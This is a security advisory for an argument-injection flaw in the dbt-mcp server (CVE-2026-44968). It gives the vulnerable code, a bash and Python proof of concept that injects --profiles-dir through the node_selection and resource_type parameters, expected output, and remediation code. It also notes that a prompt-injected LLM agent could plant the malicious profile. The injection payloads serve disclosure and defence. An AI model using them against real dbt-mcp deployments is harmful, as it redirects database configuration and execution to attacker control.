PYSEC-2026-2444
Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:03Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.*
Summary
_run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as --profiles-dir, --project-dir, and --target — by crafting the node_selection string (Vector 1) or the resource_type JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.
Details
Vector 1 — node_selection string
Affected tools: build, compile, run, test, clone, list, get_node_details_dev
# src/dbt_mcp/dbt_cli/tools.py lines 77–79
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "my_model --profiles-dir /tmp/evil" produces:
["dbt", "--no-use-colors", "run",
"--select", "my_model", "--profiles-dir", "/tmp/evil"]
dbt parses the injected --profiles-dir as a global option and loads configuration from the attacker-supplied path.
Vector 2 — resource_type list
Affected tool: list
# src/dbt_mcp/dbt_cli/tools.py lines 84–85
if isinstance(resource_type, Iterable):
command.extend(["--resource-type"] + resource_type)
Each JSON array element is appended verbatim to argv. Input ["model", "--profiles-dir", "/tmp/evil"] produces:
["dbt", "--no-use-colors", "list",
"--resource-type", "model", "--profiles-dir", "/tmp/evil"]
Both vectors share the same root cause: no validation prevents tokens starting with - from being appended as independent argv elements.
PoC
1. Environment setup (run once)
# Attacker-controlled profile at an injectable path
mkdir -p /tmp/evil-profiles
cat > /tmp/evil-profiles/profiles.yml << 'EOF'
evil_profile:
target: dev
outputs:
dev:
type: duckdb
path: /tmp/PWNED_by_injection.duckdb
threads: 1
EOF
# Minimal dbt project whose profile name matches the malicious one
mkdir -p /tmp/test-dbt-project/models
cat > /tmp/test-dbt-project/dbt_project.yml << 'EOF'
name: test_project
version: '1.0.0'
profile: evil_profile
model-paths: ["models"]
models:
test_project:
+materialized: table
EOF
echo "select 1 as id" > /tmp/test-dbt-project/models/my_first_model.sql
rm -f /tmp/PWNED_by_injection.duckdb
2. MCP client exploit — triggers injection through the real protocol stack
#!/usr/bin/env python3
# poc_injection.py
# Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py
import os, subprocess
from dataclasses import dataclass
from enum import Enum
from collections.abc import Iterable
class BinaryType(Enum):
DBT_CORE = "dbt_core"
@dataclass
class DbtCliConfig:
project_dir: str
dbt_path: str
dbt_cli_timeout: int
binary_type: BinaryType
def _run_dbt_command(config, command, node_selection=None, resource_type=None):
# Vector 1: vulnerable line from tools.py
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
# Vector 2: vulnerable line from tools.py
if isinstance(resource_type, Iterable) and resource_type is not None:
command.extend(["--resource-type"] + list(resource_type))
cwd = config.project_dir if os.path.isabs(config.project_dir) else None
args = [config.dbt_path, "--no-use-colors", *command]
print(f"[args] {args}")
proc = subprocess.Popen(args=args, cwd=cwd,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
stdin=subprocess.DEVNULL, text=True)
out, _ = proc.communicate(timeout=config.dbt_cli_timeout)
return out or "OK"
config = DbtCliConfig("/tmp/test-dbt-project", "dbt", 30, BinaryType.DBT_CORE)
print("=" * 64)
print(" Vector 1 - node_selection injection")
print("=" * 64)
print(f"[input] node_selection = 'my_first_model --profiles-dir /tmp/evil-profiles'")
result1 = _run_dbt_command(config, ["run"],
node_selection="my_first_model --profiles-dir /tmp/evil-profiles")
print("[dbt output]"); print(result1)
print("=" * 64)
print(" Vector 2 - resource_type injection")
print("=" * 64)
print(f"[input] resource_type = ['model', '--profiles-dir', '/tmp/evil-profiles']")
result2 = _run_dbt_command(config, ["list"],
resource_type=["model", "--profiles-dir", "/tmp/evil-profiles"])
print("[dbt output]"); print(result2)
db = "/tmp/PWNED_by_injection.duckdb"
print("=" * 64)
if os.path.exists(db):
print(f"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)")
print("[CONFIRMED] dbt accepted the injected --profiles-dir flag.")
else:
print(f"[NOTE] {db} not found. Check dbt output above.")
print("=" * 64)
Expected server log (INFO level, src/dbt_mcp/mcp/server.py line 67):
[args] ['dbt', '--no-use-colors', 'run', '--select', 'my_first_model', '--profiles-dir', '/tmp/evil-profiles']
[args] ['dbt', '--no-use-colors', 'list', '--resource-type', 'model', '--profiles-dir', '/tmp/evil-profiles']
[CONFIRMED] /tmp/PWNED_by_injection.duckdb exists (274432 bytes)
[CONFIRMED] dbt accepted the injected --profiles-dir flag.
The injected flags reach _run_dbt_command() unchanged and are passed verbatim to subprocess.Popen.
Screenshot
Impact
The following is directly demonstrated by the PoC above:
- An MCP client can inject arbitrary dbt global flags into
subprocess.Popen's argv list via eithernode_selectionorresource_type. --profiles-diris accepted by dbt as a global option, overriding the server's configured profile directory.- When an attacker-controlled
profiles.ymlexists at the injected path, dbt executes with the attacker's database configuration — demonstrated by the DuckDB file write to/tmp/PWNED_by_injection.duckdb.
Preconditions and scope: The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a profiles.yml accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond --profiles-dir include --project-dir and --target, which redirect dbt's project root and execution environment respectively.
Remediation
Vector 1 — validate each node_selection token before extending argv:
import re
# dbt node selector syntax allows: identifiers, operators (+@*,), path globs, tag:, config:
_SAFE_TOKEN_RE = re.compile(r'^[\w.*+@,:\[\]/-]+$')
if node_selection and isinstance(node_selection, str):
tokens = node_selection.split(" ")
for token in tokens:
if not _SAFE_TOKEN_RE.match(token):
raise InvalidParameterError(
f"node_selection contains an invalid token: {token!r}. "
"Tokens must not begin with '-'."
)
command.extend(["--select"] + tokens)
Vector 2 — validate resource_type against an explicit allowlist:
_VALID_RESOURCE_TYPES = frozenset({
"model", "test", "snapshot", "analysis", "macro",
"operation", "seed", "source", "exposure", "metric",
"saved_query", "semantic_model", "unit_test",
})
if isinstance(resource_type, Iterable):
rt_list = list(resource_type)
invalid = [v for v in rt_list if v not in _VALID_RESOURCE_TYPES]
if invalid:
raise InvalidParameterError(
f"resource_type contains unrecognised values: {invalid}. "
f"Allowed: {sorted(_VALID_RESOURCE_TYPES)}"
)
command.extend(["--resource-type"] + rt_list)
Hardening: Add pattern regex constraints to the Pydantic Field definitions for node_selection so that malformed inputs are rejected at the MCP schema layer before reaching _run_dbt_command(). Add regression tests in tests/unit/ with payloads containing --profiles-dir, --project-dir, and --target to prevent re-introduction.
| Name | purl | dbt-mcp | pkg:pypi/dbt-mcp |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dbt-mcp",
"purl": "pkg:pypi/dbt-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1a1",
"0.1.0",
"0.1.1",
"0.1.2",
"0.1.2rc1",
"0.1.2rc2",
"0.1.3",
"0.10.0",
"0.10.1",
"0.10.2",
"0.10.3",
"0.2.1",
"0.2.10",
"0.2.11",
"0.2.12",
"0.2.13",
"0.2.14",
"0.2.15",
"0.2.16",
"0.2.17",
"0.2.18",
"0.2.19",
"0.2.20",
"0.2.3",
"0.2.4",
"0.2.5",
"0.2.6",
"0.2.7",
"0.2.8",
"0.2.9",
"0.3.0",
"0.4.0",
"0.4.1",
"0.4.2",
"0.5.0",
"0.6.0",
"0.6.1",
"0.7.0",
"0.8.0",
"0.8.1",
"0.8.2",
"0.8.3",
"0.8.4",
"0.9.0",
"0.9.1",
"1.0.0",
"1.1.0",
"1.10.0",
"1.11.0",
"1.12.0",
"1.13.0",
"1.14.0",
"1.15.0",
"1.17.0",
"1.2.0",
"1.3.0",
"1.4.0",
"1.5.0",
"1.5.1",
"1.5.2",
"1.6.0",
"1.6.2",
"1.7.0",
"1.8.0",
"1.8.1",
"1.9.0",
"1.9.1",
"1.9.2",
"1.9.3"
]
}
],
"aliases": [
"CVE-2026-44968",
"GHSA-xpww-f6pm-cfhq"
],
"details": "*Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.**\n\n## Summary\n\n`_run_dbt_command()` in `src/dbt_mcp/dbt_cli/tools.py` constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags \u2014 such as `--profiles-dir`, `--project-dir`, and `--target` \u2014 by crafting the `node_selection` string (Vector 1) or the `resource_type` JSON array (Vector 2). Because `subprocess.Popen` is called with `shell=False` and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.\n\n## Details\n\n**Vector 1 \u2014 `node_selection` string**\nAffected tools: `build`, `compile`, `run`, `test`, `clone`, `list`, `get_node_details_dev`\n\n```python\n# src/dbt_mcp/dbt_cli/tools.py lines 77\u201379\nif node_selection and isinstance(node_selection, str):\n selector_params = node_selection.split(\" \")\n command.extend([\"--select\"] + selector_params)\n```\n\n`str.split(\" \")` does not distinguish dbt selector tokens from flag tokens. Input `\"my_model --profiles-dir /tmp/evil\"` produces:\n\n````\n[\"dbt\", \"--no-use-colors\", \"run\",\n \"--select\", \"my_model\", \"--profiles-dir\", \"/tmp/evil\"]\n````\n\ndbt parses the injected `--profiles-dir` as a global option and loads configuration from the attacker-supplied path.\n\n**Vector 2 \u2014 `resource_type` list**\nAffected tool: `list`\n\n```python\n# src/dbt_mcp/dbt_cli/tools.py lines 84\u201385\nif isinstance(resource_type, Iterable):\n command.extend([\"--resource-type\"] + resource_type)\n```\n\nEach JSON array element is appended verbatim to argv. Input `[\"model\", \"--profiles-dir\", \"/tmp/evil\"]` produces:\n\n````\n[\"dbt\", \"--no-use-colors\", \"list\",\n \"--resource-type\", \"model\", \"--profiles-dir\", \"/tmp/evil\"]\n````\n\nBoth vectors share the same root cause: no validation prevents tokens starting with `-` from being appended as independent argv elements.\n\n## PoC\n\n**1. Environment setup (run once)**\n\n```bash\n# Attacker-controlled profile at an injectable path\nmkdir -p /tmp/evil-profiles\ncat \u003e /tmp/evil-profiles/profiles.yml \u003c\u003c \u0027EOF\u0027\nevil_profile:\n target: dev\n outputs:\n dev:\n type: duckdb\n path: /tmp/PWNED_by_injection.duckdb\n threads: 1\nEOF\n\n# Minimal dbt project whose profile name matches the malicious one\nmkdir -p /tmp/test-dbt-project/models\ncat \u003e /tmp/test-dbt-project/dbt_project.yml \u003c\u003c \u0027EOF\u0027\nname: test_project\nversion: \u00271.0.0\u0027\nprofile: evil_profile\nmodel-paths: [\"models\"]\nmodels:\n test_project:\n +materialized: table\nEOF\necho \"select 1 as id\" \u003e /tmp/test-dbt-project/models/my_first_model.sql\n\nrm -f /tmp/PWNED_by_injection.duckdb\n```\n\n**2. MCP client exploit \u2014 triggers injection through the real protocol stack**\n\n```python\n#!/usr/bin/env python3\n# poc_injection.py\n# Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py\n\nimport os, subprocess\nfrom dataclasses import dataclass\nfrom enum import Enum\nfrom collections.abc import Iterable\n\n\nclass BinaryType(Enum):\n DBT_CORE = \"dbt_core\"\n\n\n@dataclass\nclass DbtCliConfig:\n project_dir: str\n dbt_path: str\n dbt_cli_timeout: int\n binary_type: BinaryType\n\n\ndef _run_dbt_command(config, command, node_selection=None, resource_type=None):\n # Vector 1: vulnerable line from tools.py\n if node_selection and isinstance(node_selection, str):\n selector_params = node_selection.split(\" \")\n command.extend([\"--select\"] + selector_params)\n # Vector 2: vulnerable line from tools.py\n if isinstance(resource_type, Iterable) and resource_type is not None:\n command.extend([\"--resource-type\"] + list(resource_type))\n cwd = config.project_dir if os.path.isabs(config.project_dir) else None\n args = [config.dbt_path, \"--no-use-colors\", *command]\n print(f\"[args] {args}\")\n proc = subprocess.Popen(args=args, cwd=cwd,\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n stdin=subprocess.DEVNULL, text=True)\n out, _ = proc.communicate(timeout=config.dbt_cli_timeout)\n return out or \"OK\"\n\n\nconfig = DbtCliConfig(\"/tmp/test-dbt-project\", \"dbt\", 30, BinaryType.DBT_CORE)\n\nprint(\"=\" * 64)\nprint(\" Vector 1 - node_selection injection\")\nprint(\"=\" * 64)\nprint(f\"[input] node_selection = \u0027my_first_model --profiles-dir /tmp/evil-profiles\u0027\")\nresult1 = _run_dbt_command(config, [\"run\"],\n node_selection=\"my_first_model --profiles-dir /tmp/evil-profiles\")\nprint(\"[dbt output]\"); print(result1)\n\nprint(\"=\" * 64)\nprint(\" Vector 2 - resource_type injection\")\nprint(\"=\" * 64)\nprint(f\"[input] resource_type = [\u0027model\u0027, \u0027--profiles-dir\u0027, \u0027/tmp/evil-profiles\u0027]\")\nresult2 = _run_dbt_command(config, [\"list\"],\n resource_type=[\"model\", \"--profiles-dir\", \"/tmp/evil-profiles\"])\nprint(\"[dbt output]\"); print(result2)\n\ndb = \"/tmp/PWNED_by_injection.duckdb\"\nprint(\"=\" * 64)\nif os.path.exists(db):\n print(f\"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)\")\n print(\"[CONFIRMED] dbt accepted the injected --profiles-dir flag.\")\nelse:\n print(f\"[NOTE] {db} not found. Check dbt output above.\")\nprint(\"=\" * 64)\n```\n\n**Expected server log (INFO level, `src/dbt_mcp/mcp/server.py` line 67):**\n\n````\n\n[args] [\u0027dbt\u0027, \u0027--no-use-colors\u0027, \u0027run\u0027, \u0027--select\u0027, \u0027my_first_model\u0027, \u0027--profiles-dir\u0027, \u0027/tmp/evil-profiles\u0027]\n[args] [\u0027dbt\u0027, \u0027--no-use-colors\u0027, \u0027list\u0027, \u0027--resource-type\u0027, \u0027model\u0027, \u0027--profiles-dir\u0027, \u0027/tmp/evil-profiles\u0027]\n\n[CONFIRMED] /tmp/PWNED_by_injection.duckdb exists (274432 bytes)\n[CONFIRMED] dbt accepted the injected --profiles-dir flag.\n````\n\nThe injected flags reach `_run_dbt_command()` unchanged and are passed verbatim to `subprocess.Popen`.\n\n## Screenshot\n\n\u003cimg width=\"2810\" height=\"1894\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d407675a-3409-4799-a024-b8a335cb1fcc\" /\u003e\n\n### Impact\n\nThe following is directly demonstrated by the PoC above:\n\n- An MCP client can inject arbitrary dbt global flags into `subprocess.Popen`\u0027s argv list via either `node_selection` or `resource_type`.\n- `--profiles-dir` is accepted by dbt as a global option, overriding the server\u0027s configured profile directory.\n- When an attacker-controlled `profiles.yml` exists at the injected path, dbt executes with the attacker\u0027s database configuration \u2014 demonstrated by the DuckDB file write to `/tmp/PWNED_by_injection.duckdb`.\n\n**Preconditions and scope:** The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a `profiles.yml` accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond `--profiles-dir` include `--project-dir` and `--target`, which redirect dbt\u0027s project root and execution environment respectively.\n\n### Remediation\n\n**Vector 1 \u2014 validate each `node_selection` token before extending argv:**\n\n```python\nimport re\n# dbt node selector syntax allows: identifiers, operators (+@*,), path globs, tag:, config:\n_SAFE_TOKEN_RE = re.compile(r\u0027^[\\w.*+@,:\\[\\]/-]+$\u0027)\n\nif node_selection and isinstance(node_selection, str):\n tokens = node_selection.split(\" \")\n for token in tokens:\n if not _SAFE_TOKEN_RE.match(token):\n raise InvalidParameterError(\n f\"node_selection contains an invalid token: {token!r}. \"\n \"Tokens must not begin with \u0027-\u0027.\"\n )\n command.extend([\"--select\"] + tokens)\n```\n\n**Vector 2 \u2014 validate `resource_type` against an explicit allowlist:**\n\n```python\n_VALID_RESOURCE_TYPES = frozenset({\n \"model\", \"test\", \"snapshot\", \"analysis\", \"macro\",\n \"operation\", \"seed\", \"source\", \"exposure\", \"metric\",\n \"saved_query\", \"semantic_model\", \"unit_test\",\n})\n\nif isinstance(resource_type, Iterable):\n rt_list = list(resource_type)\n invalid = [v for v in rt_list if v not in _VALID_RESOURCE_TYPES]\n if invalid:\n raise InvalidParameterError(\n f\"resource_type contains unrecognised values: {invalid}. \"\n f\"Allowed: {sorted(_VALID_RESOURCE_TYPES)}\"\n )\n command.extend([\"--resource-type\"] + rt_list)\n```\n\n**Hardening:** Add `pattern` regex constraints to the Pydantic `Field` definitions for `node_selection` so that malformed inputs are rejected at the MCP schema layer before reaching `_run_dbt_command()`. Add regression tests in `tests/unit/` with payloads containing `--profiles-dir`, `--project-dir`, and `--target` to prevent re-introduction.",
"id": "PYSEC-2026-2444",
"modified": "2026-07-13T16:03:51.305028Z",
"published": "2026-07-13T15:19:05.497932Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dbt-labs/dbt-mcp/security/advisories/GHSA-xpww-f6pm-cfhq"
},
{
"type": "PACKAGE",
"url": "https://github.com/dbt-labs/dbt-mcp"
},
{
"type": "WEB",
"url": "https://github.com/dbt-labs/dbt-mcp/releases/tag/v1.17.1"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/dbt-mcp"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-xpww-f6pm-cfhq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44968"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "dbt MCP Server has an Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.